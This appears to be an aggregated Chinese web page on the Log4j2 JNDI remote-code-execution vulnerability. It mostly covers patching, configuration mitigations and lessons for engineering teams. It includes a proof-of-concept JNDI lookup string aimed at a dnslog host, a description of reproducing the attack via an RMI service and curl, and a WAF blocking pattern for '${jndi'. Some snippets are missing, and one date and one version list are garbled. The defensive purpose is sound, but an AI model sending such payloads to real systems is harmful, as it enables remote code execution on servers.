log4j漏洞复现,log4j2低版本jndi漏洞修复及测试

log4j漏洞复现,log4j2低版本jndi漏洞修复及测试详细介绍

本文目录一览： Spring-Boot-strater-log4j2怎么修复漏洞

步骤如下：升级springboot到最新v2.5.8和v2.6.2以及后续版本，确保安全；如果单独依赖了log4j2日志，请强制使用最新版本v2.17.1换切换其他日志系统或者追加参数-Dlog4j2.formatMsgNoLookups=true

分布式 log4j2 漏洞修复方案

dble 运行依赖许多组件的 jar 包，当遇到某个组件有漏洞时，需要紧急修复。
安全漏洞说明： https://nosec.org/home/detail/4917.html
??：方案1可实施，截止至北京时间2021年12月14日11时，log4j 官方已经发布 2.16.0 版本，相关 release notes： https://github.com/apache/logging-log4j2/blob/rel/2.16.0/RELEASE-NOTES.md
??：下面介绍的2，3步骤是临时缓解步骤，不排除有其他问题
dble版本：2.19.07.x - 3.21.10.x版本，2.19.07.x之前的版本需要自行尝试替换方案，官方不再提供支持
影响：需要重启 dble
步骤：
1.1 停止 dble
1.2 将 dble 服务器上 log4j 的 jar 包进行备份并 mv 至 /tmp/ 目录下
/path/to/dble/lib 下有四个 jar 包分别是：（操作前需要确认一下）
执行下面的操作：
1.3 将 log4j 2.16.0 版本的相关 jar 包，上传到该路径下/path/to/dble/lib，并变更权限 参考链接： https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.16.0/ ，其他jar在此网站上查找
1.4 重复1.2，1.3步骤升级其余三个jar包
1.5 启动dble
dble版本：理论上全版本dble适配
影响：需要重启dble
步骤：
在 dble 配置文件 /path/to/dble/conf 下添加配置文件 log4j2.component.properties
修改文件权限：
添加如下配置：
验证方式：
开发环境验证该变量重启后被加载，不重启情况下，不会被加载。
dble版本：适用于dble版本 < 3.20.07.0
3.20.07.0及之后的dble版本由于对 JVM 参数进行了限制，因此不支持此种方式，会在近期修复。
影响：需要重启dble
步骤：
在 dble 配置文件/path/to/dble/conf/wrapper.cof 中添加如下配置，并重启dble。
配置：
原环境中是否存在 wrapper.java.additional 的参数，下面配置中的14在原环境中按需替换
执行以下命令判断是否使用该参数启动：
不推荐

log4j2低版本jndi漏洞修复及测试

参考：
PS:小于2.16还需要检查${{ctx:xxx}}删除
由于低版本(<2.10)的log4j2不支持log4j2.formatMsgNoLookups配置，设置后不会生效。
低版本除了升级版本、修改log4j2的类外，还可以通过简单的修改配置临时解决。
修复方法主要是指定日志不做转义，需要修改log4j2的Layout，即在%m %msg %message后加{nolookups}
修改前为
修改后为
如果有公网可以申请DNSLOG通过DNSLOG的解析记录验证，如果在内网无法访问公网可以启动rmi服务远程调起计算器【这里选择的是Tomcat的一个，可以根据自己的JDK版本选择】 参考： 《JDK 8u191之后的JNDI注入(RMI)》_公众号shadow sock7-CSDN博客
这里简单写个demo打印用户输入参数：
使用curl构造请求参数利用漏洞访问刚才启动的http服务
请求后可以看到应用日志中参数已经被转成了ELProcessor对象且计算器被运行了
按照修复方法进行修复后，重新运行应用：
重新执行curl，参数被原样打印：
处理日志信息的类：org.apache.logging.log4j.core.pattern.MessagePatternConverter在初始化时会判断nolookups参数：
在处理日志时，会根据noLookups判断是否处理${}
2.10以后的版本也大致相同：
这个环境变量在2.15后被废弃了,默认是nolookups.

警惕！Apache Log4j任意代码执行漏洞正被广泛利用

漏洞名称： Apache Log4j任意代码执行漏洞
漏洞性质： 任意代码执行

漏洞描述：
Apache Log4j 是 Apache 的一个开源项目，Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等，通过定义每一条日志信息的级别，能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发，用来记录日志信息。log4j2是全球使用广泛的java日志框架，同时该漏洞还影响很多全球使用量的Top序列的通用开源组件，例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。

漏洞危害：
Log4j-2中存在JNDI注入漏洞，当程序将用户输入的数据被日志记录时，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行任意代码，可能对用户造成不可挽回的损失。
危害等级：严重
漏洞复现：
影响版本：
Apache Log4j 2.x <= 2.14.1
临时修复方案：
1.修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
2.修改配置
log4j2.formatMsgNoLookups=True
3.将系统环境变量
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
修复建议：
1、厂商已发布升级修复漏洞，用户请尽快更新至安全版本：log4j-2.15.0-rc1 下载链接：
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
2、升级已知受影响的应用及组件，如srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid
3、手动替换 log4j2 版本为 2.15.1-SNAPSHOT
log4j-core: https://repository.apache.org/content/groups/snapshots/org/apache/logging/log4j/log4j-core/2.15.1-SNAPSHOT/log4j-core-2.15.1-20211209.191737-4.jar
log4j-api:
https://repository.apache.org/content/groups/snapshots/org/apache/logging/log4j/log4j-api/2.15.1-SNAPSHOT/log4j-api-2.15.1-20211209.191737-4.jar
log4j-slf4j18-impl: https://repository.apache.org/content/groups/snapshots/org/apache/logging/log4j/log4j-slf4j18-impl/2.15.1-SNAPSHOT/log4j-slf4j18-impl-2.15.1-20211209.191737-4.jar
4、做好资产自查以及预防工作，以免遭受黑客攻击

腾讯安全刚刚给出了Log4j2核弹级漏洞线上修复方案！紧急修复

2月9日晚，Apache Log4j2反序列化远程代码执行漏洞细节已被公开，Apache Log4j-2中存在JNDI注入漏洞，当程序将用户输入的数据进行日志记录时，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行任意代码。
Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。
因该组件使用极为广泛，利用门槛很低，危害极大，腾讯安全专家建议所有用户尽快升级到安全版本。
高危，该漏洞影响范围极广，利用门槛很低，危害极大。 CVSS评分：10（最高级）
Apache log4j2 >= 2.0,
Apache log4j2 2.15.0
综合国内机构意见，目前针对Apache Log4j漏洞的主要应对方法如下：
1.Apache Log4j 官方已经发布了解决上述漏洞的安全更新，建议受影响的用户尽快升级到安全版本：
安全版本 ：log4j-2.15.0-rc2
官方安全版本下载可以参考以下链接：
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
2.建议对 Apache Struts2/Apache Solr/Apache Flink/Apache Druid 等已知受影响的应用及组件进行升级
1.设置jvm参数 -Dlog4j2.formatMsgNoLookups=true。
2.设置log4j2.formatMsgNoLookups=True。
3.设置系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 为 true。
4.采用 rasp 对lookup的调用进行阻断。
5.采用waf对请求流量中的${jndi进行拦截。
6.禁止不必要的业务访问外网。
腾讯安全服务解决方案： https://view.inews.qq.com/a/20211211A032S100

由log4j远程执行漏洞说起

这几天让IT从业人员忙的不可开交的头等大事便是Log4j的远程执行漏洞了，我们先看一个简单的PoC：

先前往dnslog网站，申请一个子域名，假如是“subdomain.dnslog.cn”。

然后执行java Main ${jndi:ldap://subdomain.dnslog.cn/any}，我们在dnslog网站上刷新请求记录，便会看到申请的子域名被访问了。

如果你是一个开发者，你会知道我们的代码里面毫无疑问充斥着大量这种用法。如果你是一个安全人员，自然知道当恶意访问人员输入时可不只是访问个域名就完事，很有可能把主机密码就传到指定网站了。

那解决的办法在各大厂、安全公司等也已经公布了，无非以下几种：

WAF或防火墙规则，我们先不聊，这个大公司都会做，但并不能完全解除问题。

我们把升级JDK、升级logback、替换成logback以及移除log4j的JNDI相关类都可以看作类库升级。一方面，这些方案都需要一个应用一个应用去执行（甚至有些需要一个一个实例去处理），重复劳动，投入较大；另一方面，兼容性存疑，在升级前必然要做一定的回归测试。此处的兼容性，可以略举一些例子：比如代码里写死了log4j的实现类，而不是slf4j的api时，想要直接替换成logback就不现实。有人可能会说代码规范不允许，但他们忘了，规范和执行是2个相关的事情，但不是必然的因果关系。比如一些只做维护的老系统，存在时间比很多人工龄都长，还有一些是外包产商开发维护的系统，这种情况就是稳定重于一切。

其余几个都是修改配置，但其中略有差异。比如环境变量影响操作系统上所有的应用，如果某个应用JDK版本较高，又刚好需要这个特性，那么就容易产生bug了。修改PatternLayout容易遗漏，比如通常在自己应用的log4j配置文件，但也有可能内部框架做了封装，在jar包有配置，甚至在代码里做了配置。而在log4j2.component.properties添加配置同修改PatternLayout，也还是需要重新打包构建（除非有统一配置中心，并魔改log4j）。

综上来看，我们要避免开发人员修改、避免再次构建，只做重启的话，只能是修改环境变量或添加启动参数了。当然，每个公司有它自己的体系，某些时候大众意义的不好用对于它而言，反而是最简单的。比如，没有自动化（尤其是k8s）的公司，想要改启动参数，运维一个个实例去修改，那简直痛不欲生。

如果我们是log4j的开发人员，当产品经理提出一个需求，即碰到由“${”开头、“}”结尾的日志时，自动做替换，这个需求我们要不要做，怎么做。

刚入行的我是不会问要不要做的，只会想着怎么做，那自然是匹配、解析了。

有一定经验的我则会问这个需求为了解决什么问题，有没有比产品经理提的刚恰当的方式来解决（产品经理资历较浅，或者对产品不够熟悉时）。那我们可以看下log4j这个需求的提交记录最早可以追溯到2013年了，提交记录较多，可以通过代码反向推测需求：类似slf4j，将日志中的占位符替换成真实值，真实值可以延迟计算，计算来源支持扩展。

从代码看，目前已有的扩展包括ctx（日志事件的上下文）、date（日志事件产生的时间）、env（系统环境）、jndi（JNDI上下文获取）、map、sd（结构化事件类型中获取）、sys（系统属性）、web（从web.xml等取ServletContext）

需求是实现了，那还有吗？

如果是一个资深的研发人员就会问了，有预计的使用频率吗，如果使用频率非常高，性能就需要注意不能拖后腿；这个特性如果出现问题，需要关闭，最好能动态关闭；这个特性实际使用了多少次，耗时多少，报错多少；这个是否会在多线程环境下执行，这段代码是否线程安全；用户的输入能否对服务器产生破坏，保存后对其他用户是否产生安全问题。

在一个成熟的企业中，需要考虑诸如此类的问题。当然，很多东西可以模板化，减少开发人员心智，比如CI/CD实践中的自动化测试和DevSecOps。

为什么这次的影响这么大，因为它是基础库，比如dubbo、kafka、flink等很多框架和中间件都用到了它。同时，这从侧面说明log4j2是一个比较值得选取的日志库。

那回到技术选型，以日志为例，我们需要考虑哪些方面呢？

功能。功能是否契合企业需求，缺失功能是否在未来计划，或者扩展实现难度。如果功能都不满足，那自然pass。log4j、logback、log4j2都提供了将日志输出的功能，功能上都能满足，细节根据各企业自身情况而定了。

性能。性能自然是非常重要的，生产是没法debug的，只能通过日志来跟踪某一个事务的情况，如果日志耗时太多，TPS自然受影响，用户体验变差，还可能导致硬件成本上升。log4j2的性能就比logback要出色，logback比log4j要出色。

群众基础和易用性。如果没人会用，使用起来也困难，大概率很难被接受，也很难流行。文档是否介绍了架构设计，也有使用文档，文档是否支持多种语言（本土语言）。log4j2的配置就比较多，特别是想要较高性能时，配置更是复杂。

稳定性与活跃度。生产上使用，肯定要求稳，不可能三五天做一次修复升级。如果功能还未按计划完全实现，那么迭代升级过程中会碰到诸多问题，需要有较多的人提前使用反馈意见做改进，出现问题时，能够通过搜索引擎或其他社群解决。

开源协议。如果不开源，那么使用时心中便会有诸多不安，万一哪个地方有雷都不知道，出了问题，自己能解决的概率也极低。比如MySQL的双协议，要求要么交费，要么开源改动，不如Apache Licence等宽松，导致很多公司开始选择PostgreSQL。

生态。与企业的整套框架是否有冲突，开发流程上是否需要做额外的事情。比如很多框架用了log4j2，贸然引进logback，势必多出工作量来排除log4j2的依赖。比如开发流程工具只支持logback（当然这种场景基本没有），那么使用log4j2就需要再仔细想想了。

架构设计与代码质量。如果代码的架构设计较差，扩展性没设计好，那么企业内部做扩展（二次开发）时，只能修改代码，与源头分叉，后续几乎没法合并，无法反哺开源社区，企业内部后续升级也十分困难。如果代码质量太差，一步一坑，大家直接用脚投票的。

前瞻性。架构设计要有一定的前瞻性，以应对未来的变化。功能建设上也要有一定的前瞻性，实现、验证、上线三者之间还是需要一定时间的。比起等待，大部分人都是想我现在要。

log4j 漏洞 怎么查

最直观方式
1、使用pom分析插件，如IDEA上的Dependency Analyzer，打开pom文件后，切换到Dependency Analyzer标签，查看log4j-core的版本号；
2、查看lib下jar包的版本
以上方法需要每个项目都打开去验证，虽然直观，但是麻烦；于是想到用以下方法，先去服务器上排查，然后再根据结果，打开需要的项目进行修复。
服务器上排查
1、直接查看jar包或war包内的第三方库。
2、解压后的war项目目录或者lib单独打包放在项目外边的。
3、打包到项目中的三方引用包是class而不是jar包。

Log4j 漏洞还没收拾完，新漏洞又来了……

闹得沸沸扬扬的Apache Log4j 2 被曝存在“核弹级”漏洞从被发现到现在已经过去了十几天，据说全球有近一半企业都受到了影响。

大批研发和安全人员为此深夜加班修 Bug，直到今天
Log4j 漏洞的修复工作还在进行中，然而新的漏洞又出现了。

据云安全供应商 Wiz 报告，微软 Azure 应用服务中存在一个名为“NotLegit”的漏洞——该漏洞将影响所有通过“本地 Git”部署的 PHP、Node、Ruby 和 Python 应用。

Wiz 方面将该漏洞称为“NotLegit”，自 2017 年 9 月以来便一直存在，很可能已被利用。Wiz 指出，唯一不受“NotLegit”漏洞影响的是基于 IIS 的应用，具体影响范围包括：

自 2017 年 9 月以来，在 Azure 应用服务中使用“本地 Git”部署的所有 PHP、Node、Ruby 和 Python 应用；
从 2017 年 9 月起，在应用容器中创建或修改文件后，使用 Git 源代码部署在 Azure 应用服务中的所有 PHP、Node、Ruby 和 Python 应用；

微软在了解问题严重性后很快便采取了相关必要措施。Azure 应用服务团队进行深入调查找到了根结所在，随后为大部分受影响客户修复应用，并在 2021 年 12 月 7 日至 15 日之间通过邮件通知所有仍然暴露的客户。

No.1
因为Log4j漏洞涉及范围广，让不少不了解相关技术的人也知道了安全漏洞这个概念。对于技术开发和安全人员来说，安全漏洞问题其实是非常常见的，也已经成为了一个重要的课题。

常见的安全漏洞主要有以下这些：

SQL注入
web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。

失效的身份认证
应用中负责认证和会话管理的部分没有正确实现，使得攻击者得以泄露密码，口令或令牌，进而可能获取其他用户的身份。

敏感数据泄露
攻击者不是直接攻击密码，而是在传输过程中或从客户端（例如：浏览器）窃取密钥、发起中间人攻击，或从服务器端窃取明文数据。这通常需要手动攻击。通过使用图形处理单元（GPU），早前检索的密码数据库可能被暴力破解。

越权访问
越权访问（Broken Access Control，简称BAC）是Web应用程序中一种常见的漏洞，由于其存在范围广、危害大，被OWASP列为Web应用十大安全隐患的第二名。

安全性错误配置
攻击者能够通过未修复的漏洞、访问默认账户、不再使用的页面、未受保护的文件和目录等来取得对系统的未授权的访问或了解。

XSS跨站脚本攻击
XSS漏洞出现在当web页面包含不可信的数据，却没有合适的验证手段来找到它的时候。XSS使得攻击者能够在受害者的浏览器中执行脚本，从而劫持会话，或重定向到恶意站点。

其实安全问题出现的原因远远不止上述这些，在互联网时代，网络安全问题远比我们想象的要严峻得多。

No.2
随着互联网的发展和普及，网络在给我们生活带来极大便利的同时，也给我们留下了隐私数据泄露、电脑病毒传播等诸多问题，因此不仅仅从个人还是企业的角度来讲，网络安全的相关问题都是重中之重。

企业招聘到合适的安全测试人才相当不易，并非IT企业的招聘要求苛刻，实际情况是大量求职人员受专业技能限制而无法满足企业需求。

安全测试工程师工作的重点在于对企业信息化建设和维护，其中包含技术及管理等方面的工作，工作相对稳定，随着项目经验的不断增长和对行业背景的深入了解，掌握企业核心网络架构、安全技术，具有不可替代的竞争优势。

Log4j史诗级漏洞，我们这些小公司能做些什么？

12月10日，看到朋友圈中已经有人在通宵修改、上线系统了。随即，又看到阿里云安全、腾讯安全部门发出的官方报告：” Apache Log4j2存在远程代码执行漏洞 “，且漏洞已对外公开。
看到相关消息，马上爬起来把所有项目的日志系统过滤一遍，还好老项目采用的log4j，新项目采用的logback，没有中招。随后就看到朋友圈铺天盖地的相关消息。
作为一个史诗级的事件，紧急修改漏洞是必然的。作为程序员，如果看到这则消息，连去核查一下系统都做不到，那真的不是一个合格的程序员。
经历过这次事件，不仅是看热闹而已，还要思考一下，作为小公司如何避免、提前预防、做好准备应对这类Bug。
Apache Log4j2是一款优秀的Java日志框架，与Logback平分秋色，大量主流的开源框架采用了Log4j2，像Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。所以，这样一个底层框架出现问题，影响面可想而知。
漏洞信息： Apache Log4j 2.15.0-rc1 版本存在漏洞绕过，需及时更新至 Apache Log4j 2.15.0-rc2 版本。
影响范围：2.0 <= Apache log4j2 <= 2.14.1。
最新修复版本：https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
方案一：升级版本，发布系统；
方案二：临时补救：
攻击伪代码示例：
基于上述代码的基本攻击步骤：
腾讯安全专家的回复现如下：
log4j2漏洞复现
关于漏洞及解决方案，上面已经详细聊了，问题基本得以解决。在大的互联网企业，是有专门的安全运维部门来监控、扫描这些漏洞的。但在小公司，很显然没有这样的条件。
那么，我们该怎么办？同时，作为事件的经历者，你是否思考过这个事件中反映出的一些其他问题吗？
在大企业，一旦发现这样的漏洞，安全部门会第一时间进行通知。但在小企业，没有安全部门，你是如何获取到漏洞的消息的呢？
比如我所在的企业，是没有安全部门的，但也几乎是第一时间得知漏洞消息，进行系统排查的。
如何获得圈内第一手消息，取决于也反映着你在社交圈或技术圈所处的位置与现状 。
很多朋友可能也看到了这则漏洞消息，但也就是看一下热闹，然后该干嘛干嘛了，系统有漏洞就有漏洞了呗~
如果你是如此，或者你的团队是如此，你真的需要反省一下职业素养问题了。
很多人可能觉得自己很牛，觉得自己怀才不遇，觉得工资收入低，觉得被亏待……那么，对照一下对这件事所作出的反应，基本就知道自己是不是被亏待了。
这样的突发事件，也是对系统运维、团队管理的一个考验，也是一个仿真练习：大家都正在进行着当前业务的开发，有一个突发Bug要修改，改一半的代码如何操作？如大面积发布？
第一 ，改一半的代码怎么办？如果你的团队的代码开发都是基于master（主干）进行开发、提交代码，针对这样的突发事件，必然会面对改了一半的代码，提交了，想一起发布但还没测试，这种骑虎难下的局面。
所以，代码的管理（如何打分支、合并分支、分支与主干代码不同环境的发布）必须得从日常的点滴做起，当突发事件发生时，也不至于手忙脚乱。
第二 ，有大量项目需要发布怎么办？当然，最古老的方式就是一个系统一个系统手动发布。如果是微服务及应用较多，不仅容易出现错误，而且耗时较长。这就提醒我们，构建自动化发布流程的重要性。
有安全部门的公司，会定期扫描系统漏洞，那么没有安全部门的公司只能坐以待毙吗？
任何一个漏洞对软件系统来说都有可能是致命的，也是需要我们谨慎对待的。对于漏洞的处理及做出的反应也是从业者职业素养的体现。
而如果能从一次次突发事件中学习、思考到更多内容，你将比别人更快地成长。